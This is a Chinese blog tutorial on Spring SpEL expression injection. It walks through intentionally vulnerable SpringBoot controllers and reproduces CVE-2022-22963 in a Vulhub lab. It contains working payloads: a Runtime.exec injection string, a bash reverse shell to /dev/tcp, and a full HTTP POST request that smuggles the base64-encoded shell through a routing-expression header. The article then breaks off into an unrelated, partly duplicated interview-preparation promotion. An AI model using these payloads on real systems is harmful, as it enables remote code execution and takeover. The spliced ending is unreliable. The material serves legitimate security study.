context.setVariable(“end”, “!”);
//表达式求值
System.out.println(expression.getValue(context));
上述流程分为 4 步:
1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
3. 构造上下文:上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值;
4. 表达式求值:通过 Expression 接口的 `getValue` 方法根据上下文获得表达式值。
其中,第三步构造上下文并不是必需的步骤,在不配置的情况下具有默认类型的上下文(`StandardEvaluationContext`),故以下代码示例与上面代码等价:
//创建解析器
ExpressionParser parser = new SpelExpressionParser();
//传入并解析需要评估的表达式
Expression expression = parser.parseExpression(“‘Hello World!’”);
//执行表达式,然后获取值
String message = (String) expression.getValue();
### 安全风险
SpeL 表达式语言在 EvaluationContext 上下文类型除了提供默认的 `StandardEvaluationContext`外,还提供了 `SimpleEvaluationContext`。
【风险】`SimpleEvaluationContext` 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用,而 `StandardEvaluationContext` 是支持全部 SpEL 语法的,它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行,因为 SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 来调用任意类方法,比如以下示例代码将在 Windows 系统上执行运行计算器的指令:
String expressionstr = “T(Runtime).getRuntime().exec(“calc”)”;
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));
与此同时,由于在不指定 `EvaluationContext` 的情况下默认采用的是 `StandardEvaluationContext`,所以默认情况下 SpEL 表达式求值存在代码注入导致 RCE 的风险。
### 案例演示
下面通过本地 IDEA 创建存在简单漏洞示例的 SpringBoot 项目来直观感受下 SpEL 表达式注入漏洞。
1、由于我使用的是社区版的 IDEA(穷,用不起旗舰版),没有 Spring Initializer 功能,无法快捷创建 Spring Boot 项目,只能手动去 <https://start.spring.io/> 把工程创建好之后下载下来:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/e3c6ba113e0b46629eb25a9bc5ba7923.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/4f7ae8864c26450e87c8658e3ddc5156.png)
2、下载完是个 `demo.zip` 压缩包工程文件,解压缩后使用 IDEA 社区版 正常 open project 即可,IDEA 会自动下载 pom.xml 配置的依赖包到本地 Maven 仓库:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/4fda27c1b5f944d7a610d53b7feb66bc.png)
>
> 修改 IDEA Maven 本地仓库和远程仓库配置的话,请参见:[Intellij IDEA配置Maven(内置Maven和修改本地仓库地址和阿里云中央仓库)]( )。
>
>
>
3、到 `application.properties` 配置文件修改服务端口为 8081(默认为 8080,与BurpSuite抓包代理冲突了):
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/55779bde824b4ffb98d17d2eb8dc0680.png)
4、接着手动新增创建一个控制器 MyController 如下:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/37deed6be9a3453b9195f127114bfa12.png)
@RestController
public class MyController {
// 映射到方法上,最终URL为localhost:8081/spel1,此处通常用 @GetMapping(“/spel1”) 表明GET请求方式的映射
@RequestMapping(“/spel1”)
@ResponseBody
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
@RequestMapping("/spel2")
@ResponseBody
public String spel2(String input){
SpelExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(input);
return expression.getValue(evaluationContext).toString();
}
@RequestMapping("/spel3")
@ResponseBody
public String spel3(String input){
SpelExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression expression = parser.parseExpression(input);
return expression.getValue(evaluationContext).toString();
}
}
上述控制器逻辑很简单,我添加了三个路由:
| 路由 | 配置 | 是否存在 SpEL 注入漏洞 |
| --- | --- | --- |
| /spel1 | 不指定 `EvaluationContext` ,默认是 `StandardEvaluationContext` | 是 |
| /spel2 | 指定上下文 `StandardEvaluationContext` | 是 |
| /spel3 | 指定上下文 `SimpleEvaluationContext` | 否 |
4、接下来直接运行 SpringBoot 项目,即可在本地 8081 端口成功访问到 Web 服务:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/b4388a0a556b4759be01b88fc4df678a.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/9eabc1eb03354028a6a3fdf38c6e625d.png)
5、接下来根据我们配置的路由来验证漏洞,Payload为:`/spelX?input=T(Runtime).getRuntime().exec("calc")`:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/502849a9664347c5aba80d6b1ed27c84.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/8c8e94bdcc4f4408820265b454458a7e.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/0787d901fc8f4be194900702bc97bc4d.png)
从上面简单而直观的漏洞示例代码可以看出,在不指定 `EvaluationContext` 或者显示采用 `StandardEvaluationContext` 作为上下文的时候,如果 SpEL 表达式的值可被外部输入所控制,则存在因 SpEL 表达式注入导致 RCE 的风险。
## CVE-2022-22963
接下来通过复现、调试分析一个 SpEL 表达式注入 CVE 漏洞来进一步学习、理解此类漏洞,此处挑选的是 [CVE-2022-22963]( )。
### 漏洞简述
如 [Vulhub官方文档所述]( ):Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function 中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “`spring.cloud.function.routing-expression`” 参数作为 SpEL 表达式进行处理,造成了 SpEL 表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。
【受影响版本】3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
参考链接:
1. [CVE-2022-22963 漏洞描述]( );
2. [CVE-2022-22963 官方漏洞修复方案]( );
3. [Spring Cloud Function SPEL表达式注入漏洞分析]( );
### 环境搭建
本文使用 [Ubuntu 官方虚拟机]( ) + [Vulhub CVE 漏洞靶场环境]( ) 复现该漏洞。以前的漏洞复现文章已经写过 Vulhub 靶场的使用步骤:[渗透测试-Openssl心脏出血漏洞复现]( )。
整体复述一下,Ubuntu 上安装 Docker 环境和搭建 Vulhub 靶场的步骤:
1、安装docker:
apt-get install -y docker.io
2、安装docker-compose:
pip install docker-compose
3、启动docker后台服务:
sudo service docker start
4、将当前用户加入docker组
sudo usermod -aG docker $USER
5、配置 docker 加速器(提高容器下载速度):
https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下载vulhub漏洞目录:
git clone https://github.com/vulhub/vulhub.git
7、进入想要复现的漏洞对应文件夹:
cd ~/vulhub/struts2/s2-048/(示例路径)
8、以root身份执行以下命令开始运行漏洞容器:
docker-compose up -d
回顾 Docker 用法请参考历史博文:[渗透测试-Docker容器]( )。
>
> 【推荐】提高 Docker 镜像下载速度请参考:[Docker–提高下载速度的方法]( )。
>
>
>
此处顺便再简单总结下 Docker 常用命令:
| 目的 | 命令 |
| --- | --- |
| 在Docker公用仓库搜索镜像 | `docker search bwapp(容器镜像名)` |
| 从Docker公用仓库拉取镜像 | `docker pull raesene/bwapp(远程镜像路径)` |
| 返回本地Docker容器镜像信息 | `docker images` |
| 将镜像运行为一个真正在运行的容器 | `docker run -d -p 8080:80 本地容器镜像名` |
| 查看正在运行的容器 | `docker ps` |
| 查看所有容器(无论是否正在运行) | `docker ps -a` |
| 查看指定容器的详细信息 | `docker inspect 容器名或id` |
| 进入容器的shell交互模式 | `docker exec -i -t 容器id bash` |
| 停止正在运行的容器 | `docker stop 容器id` |
| 重启本地已停止运行的容器 | `docker start 容器id` |
| 强制删除本地容器 | `docker rm -f 容器ID` |
Ubuntu 虚拟机成功搭建环境如下:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/c11ab1b3d3ed45f0a4f989b5615cbcdc.png)
物理机访问 Docker 服务(`http://192.168.171.129:8080/`):
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a986a977bb764fd29a2b2e225ffc348f.png)
### 反弹shell
先说下这个漏洞产生的原因:如果在 `/functionRouter` 的 POST 请求头中添加一个 `spring.cloud.function.routing-expression` 参数,Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。
那我们直接在 POST 请求中发送反弹 Shell 的命令即可,此处使用同一局域网中的 Kali 虚拟机作为攻击机(192.168.171.128):
bash -i >& /dev/tcp/192.168.171.128/6666 0>&1
但是需要使用 [reverse-shell 在线工具]( ) 将上述反弹 shell 的命令进行 Base64 编码(具体原因请参见:[Java反弹shell小记]( )):
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a4e414606bae41489ec2fdadda17a72d.png)
直接发送报文:
POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}”)
Connection: close
Content-Length: 6
test
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/91f0ad76ced64f8698701f944ede54c2.png)
【题外话】此处顺便补充一个小技巧,BurpSuite 如果显示字体模糊、分辨率不佳的情况下(比如此图,伤眼睛啊……),可以在桌面快捷方式右键选择“属性”,在兼容性中选择如下配置项后重启即可解决(效果可参见下文另外的 Burp 截图):
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/c2ba4b0122af4dc0ad099c9afef86945.png)
此时 Kali 攻击机可获得反弹的 Shell(其中 1832.168.171.129 正是 Ubuntu 靶机的局域网 IP):![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/edc6344a722f4feba77a6cd862567338.png)
至此,我们已成功复现该漏洞,通过 SpEL 注入实现了 RCE 远程命令执行。
最后,结束 Ubuntu 虚拟机靶场容器环境的运行:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/76c48e43980645859b4c50d8356f1add.png)
## CVE漏洞调试分析
简单的复现漏洞并不是目的,我们的目的是从历史 CVE 漏洞中分析根因,并尽可能能够实现在白盒代码审计实战中做到举一反三。
### 本地搭建
此处采用本地 IDEA 新建 SpringBoot 项目的方式来搭建漏洞环境,直接沿用前文 “案例演示” 章节中的简易 SpringBoot 项目。
>
> 不想折腾的话可以直接在 Github 获取来源的漏洞环境项目:[Spring-Cloud-Function-Spel]( )。
>
>
>
1、只需要在 pom.xml 中新增引入 `spring-boot-starter-web`、`spring-cloud-function-web`(存在漏洞的 3.2.2 版本):
org.springframework.boot spring-boot-starter-web org.springframework.cloud spring-cloud-function-web 3.2.2
难道这样就够了吗?不,远远不够!
提前多熟悉阿里往年的面试题肯定是对面试有很大的帮助的,但是作为技术性职业,手里有实打实的技术才是你面对面试官最有用的利器,这是从内在散发出来的自信。
备战阿里时我花的最多的时间就是在学习技术上,占了我所有学习计划中的百分之70,这是一些我学习期间觉得还是很不错的一些学习笔记
我为什么要写这篇文章呢,其实我觉得学习是不能停下脚步的,在网络上和大家一起分享,一起讨论,不单单可以遇到更多一样的人,还可以扩大自己的眼界,学习到更多的技术,我还会在csdn、博客、掘金等网站上分享技术,这也是一种学习的方法。
今天就分享到这里了,谢谢大家的关注,以后会分享更多的干货给大家!
我所有学习计划中的百分之70,这是一些我学习期间觉得还是很不错的一些学习笔记
我为什么要写这篇文章呢,其实我觉得学习是不能停下脚步的,在网络上和大家一起分享,一起讨论,不单单可以遇到更多一样的人,还可以扩大自己的眼界,学习到更多的技术,我还会在csdn、博客、掘金等网站上分享技术,这也是一种学习的方法。
今天就分享到这里了,谢谢大家的关注,以后会分享更多的干货给大家!
[外链图片转存中…(img-AplgXxLE-1714340068917)]
[外链图片转存中…(img-yzL9glT4-1714340068917)]
[外链图片转存中…(img-YikeAmpQ-1714340068918)]